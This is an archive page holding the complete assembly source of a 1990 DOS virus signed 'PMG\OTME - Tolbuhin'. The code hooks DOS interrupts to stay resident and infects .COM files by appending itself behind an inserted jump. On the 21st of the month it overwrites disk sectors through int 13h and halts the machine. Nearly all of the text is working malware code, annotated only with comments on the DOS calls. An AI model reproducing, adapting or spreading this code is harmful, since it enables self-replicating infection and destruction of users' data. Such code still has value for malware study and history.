home *** CD-ROM | disk | FTP | other *** search
- start: jmp short begin
- db (00h)
- db (53h)
- db (4bh)
- int 20h
- okey: db (0b8h)
- db (03h)
- db (00h)
- db (0cdh)
- db (10h)
- begin: push cx
- CALL F1
- F1: POP SI
- SUB SI,09
- push cs
- pop ds
- push cs
- pop es
- MOV WORD PTR [LenF],SI
- cld
- mov di,100h
- mov cx,5
- rep movsb
- jmp ding1
- int21h: STI
- cmp ah,00
- jz int20h
- cmp ah,4ch
- jz int20h
- et1: db (0eah)
- is: dw 0
- io: dw 0
-
- ;int13h: sti
- ; PUSH BX
- ; PUSH CX
- ; PUSH DX
- ; PUSH DS
- ; PUSH ES
- ; PUSH SI
- ; PUSH DI
- ; push ax
- ; push ds
- ; cmp ah,03
- ; jz etk2
- ; cmp ah,05
- ; jnz etk3
- ;etk2: mov ax,0000
- ; mov ds,ax
- ; inc Word ptr [310h]
- ; cmp Word ptr [310h],0FFEh
- ; jnz etk3
- ; push cs
- ; pop ds
- ; int 20h
- ;etk3: pop ds
- ; pop ax
- ; int 65h
- ; cld
- ; mov ax,0
- ; POP DI
- ; POP SI
- ; POP ES
- ; POP DS
- ; POP DX
- ; POP CX
- ; POP BX
- ; iret
- int20h: STI
- PUSH AX
- PUSH BX
- PUSH CX
- PUSH DX
- PUSH DS
- PUSH ES
- PUSH SI
- PUSH DI
- mov ah,2ah
- int 21h
- cmp dl,21
- jnz okef
- mov ax,0309h
- mov dx,0000h
- mov cx,0001h
- lea bx,[100h]
- int 13h
- jmp short okep
- okef: mov ax,0
- mov ds,ax
- inc word ptr [310h]
- cmp Word ptr [310h],0FFFh
- jnz oke
- okep: push cs
- pop ds
- mov ah,9
- mov di,name-okey
- add di,107h
- mov dx,di
- int 21h
- cli
- hlt
- oke: mov ax,0
- mov ds,ax
- cmp byte ptr [302h],0
- jz et3
- mov byte ptr [302h],0
- jmp main
- dinge: jmp ding
- et3: push cs ;ds <- cs
- pop ds
- mov ah,2fh ;Dos service function ah=2FH (get DTA)
- int 21h ;ES:BX Addres of current DTA
- mov di,edta-okey
- add di,107h
- mov [di],ES
- mov [di+2],BX
- mov ah,1ah ;Dos service function ah=1AH (set DTA)
- PUSH CS
- POP DS
- mov dx,dta-okey ;DS:DX Addres of DTA
- add dx,107h
- int 21h
- push cs
- pop ds
- MOV AH,4eH
- MOV DX,files-okey
- ADD dx,107h
- mov cx,00
- INT 21H ;Dos service function ah=4EH (FIND FIRST)
- jc dinge ;CX File attribute
- ;DS:DX Pointer of filespec (ASCIIZ string)
- vir: mov ax,3d02h
- push cs
- pop ds
- mov dx,dta-okey ;DS:DX Addres of DTA
- add dx,107h
- add dx,1EH
- int 21h ;Dos service function ah=3DH (OPEN FILE)
- ;AL Open mode
- ;DS:DX Pointer to filename (ASCIIZ string)
- ;Return AX file handle
- mov di,handle-okey
- add di,107h
- mov [di],ax
- mov ah,'C'
- mov al,'D'
- PUSH DX
- POP BX
- cmp [bx],ah ;Compare filename for 'COMMAND.COM'
- jnz p1 ;If not first char 'C' then push virus in file
- cmp [bx+6],al
- jz v ;If 7 char 'D' then find next file
- p1: mov di,handle-okey
- add di,107h
- mov bx,[di]
- push cs
- pop ds
- mov ah,3fh
- mov dx,end-okey
- add dx,107h
- mov cx,5
- int 21h ;Dos service function ah=3FH (READ FILE)
- ;BX File handle
- ;CX Number of bytes to read
- ;DS:DX Addres of buffer
- push cs
- pop es ;ES <- CS
- cld
- PUSH DX
- POP SI
- mov di,107h
- mov cx,5
- rep movsb ;Repeat While CX>0 do ES:DI <- DS:SI
- ; SI=SI+1
- ; DI=DI+1
- mov ax,534bh
- mov di,dx
- add di,3
- cmp [di],ah
- jnz fuck
- inc di
- cmp [di],al
- jnz fuck
- v: push cs
- pop ds
- mov di,handle-okey
- add di,107h
- mov bx,[di]
- mov ah,3eh
- int 21h
- push cs
- pop ds
- mov ah,4fh
- int 21h
- jc enzi
- jmp short vir
- enzi: jmp ding
- fuck: mov ax,dta-okey
- add ax,107h
- add ax,1aH
- mov di,ax
- Mov Word Ptr cx,[di]
- mov ax,end-okey
- add ax,107h
- mov di,ax
- mov al,0e9h
- cmp cx,0feh
- jna v
- add cx,2
- mov [di],al
- inc di
- mov Word Ptr [di],cx
- mov ax,534bh
- add di,2
- mov [di],ah
- inc di
- mov [di],al
- mov di,handle-okey
- add di,107h
- mov bx,[di]
- mov ax,4200h
- xor cx,cx
- xor dx,dx
- push cs
- pop ds
- int 21h
- mov di,handle-okey
- add di,107h
- mov bx,[di]
- mov ah,40h
- mov dx,end-okey
- add dx,107h
- mov cx,5
- int 21h
- mov ax,4202h
- xor cx,cx
- xor dx,dx
- int 21h
- push cs
- pop ds
- mov di,handle-okey
- add di,107h
- mov bx,[di]
- mov ah,40h
- mov dx,107h
- mov cx,end-okey
- int 21h
- mov ah,3eh
- int 21h
- mov ax,0000
- mov ds,ax
- inc Word ptr [0310h]
- push cs
- pop ds
- ding: mov ah,1ah
- mov di,edta-okey
- add di,107h
- mov ds,[di]
- mov dx,[di+2]
- int 21h
- main: PUSH CS
- POP DS
- POP DI
- POP SI
- POP ES
- POP DS
- POP DX
- POP CX
- POP BX
- POP AX
- int1h: DB (0EAH)
- INTSH: DW (0)
- INTOH: DW (0)
- name: db 'Virus in memory !!! Created by 21.I.1990 - PMG\OTME - Tolbuhin ...$'
- for1: jmp for
- files: db '*.com',0
- Ding1: mov ax,0000h
- mov ds,ax
- mov byte ptr [302h],1
- cmp word ptr [300h],4B53h
- jz for1
- mov word ptr [300h],4B53h
- mov ah,62h
- int 21h
- mov ds,bx
- mov bx,[2ch]
- dec bx
- mov dx,0FFFFh
- loc_1: mov ds,bx
- mov di,[3]
- inc di
- add dx,di
- add bx,di
- cmp byte ptr [0000],5Ah
- jne loc_1
- mov cx,es
- add cx,dx
- sub word ptr [3],80h
- sub cx,80h
- sub cx,10h
- mov es,cx
- mov di,100h
- cld
- PUSH DI
- mov ax,0000h
- mov ds,ax
- ; mov bx,[004ch]
- ; mov [0194h],bx
- ; mov cx,[004eh]
- ; mov [0196h],cx
- mov bx,[0080h]
- mov cx,[0082h]
- PUSH CS
- POP DS
- mov di,intsh-okey
- add di,[lenf]
- mov [di],bx
- mov [di+2],cx
- mov ax,0000h
- mov ds,ax
- mov bx,[0084h]
- mov cx,[0086h]
- PUSH CS
- POP DS
- mov di,is-okey
- add di,[lenf]
- mov [di],bx
- mov [di+2],cx
- push cs
- pop ds
- POP DI
- mov si,[lenf]
- sub si,7
- mov cx,800h
- push cs
- pop ds
- rep movsb
- mov ax,0000
- mov ds,ax
- mov WORD PTR [0082h],es
- mov WORD PTR [0086h],es
- ; mov WORD PTR [004eh],es
- ; mov di,int13h-okey
- ; add di,107h
- ; mov WORD PTR [004ch],di
- mov di,int20h-okey
- add di,107h
- mov WORD PTR [0080h],di
- mov di,int21h-okey
- add di,107h
- mov WORD PTR [0084h],di
- jmp ding3
- for: mov ax,0
- mov ds,ax
- mov bx,[80h]
- mov cx,[82h]
- push cx
- pop ds
- push cx
- mov di,intsh-okey
- add di,107h
- mov bx,[di]
- mov cx,[di+2]
- push cs
- pop ds
- mov di,v20h1-okey
- add di,[lenf]
- mov [di],bx
- mov [di+2],cx
- mov ax,0000h
- mov ds,ax
- mov Byte ptr [302h],0
- pop ds
- mov di,INTSH-okey
- add di,107h
- mov bx,ding2-okey
- add bx,[lenf]
- mov word ptr [di],bx
- mov word ptr [di+2],CS
- int 20h
- ding2: push cs
- pop ds
- mov di,v20h1-okey
- add di,[lenf]
- mov bx,[di]
- mov cx,[di+2]
- mov ax,0
- mov ds,ax
- mov WORD PTR ax,[82h]
- mov word ptr [302h],1
- mov ds,ax
- mov di,intsh-okey
- add di,107h
- mov [di],bx
- mov [di+2],cx
- ding3: PUSH CS
- POP DS
- push cs
- pop es
- pop cx
- mov si,100h
- jmp si
- LenF: dw ?
- dta: db 256 dup (?)
- handle: dw ?
- edta: dw ?
- bdta: dw ?
- v20h1: dw ?
- v20h2: dw ?
- com: db 'COMMAND'
- end: db (00)